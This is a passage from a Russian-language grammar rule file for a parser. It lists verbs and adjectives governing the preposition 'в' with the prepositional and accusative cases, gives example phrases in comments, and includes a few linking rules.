rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
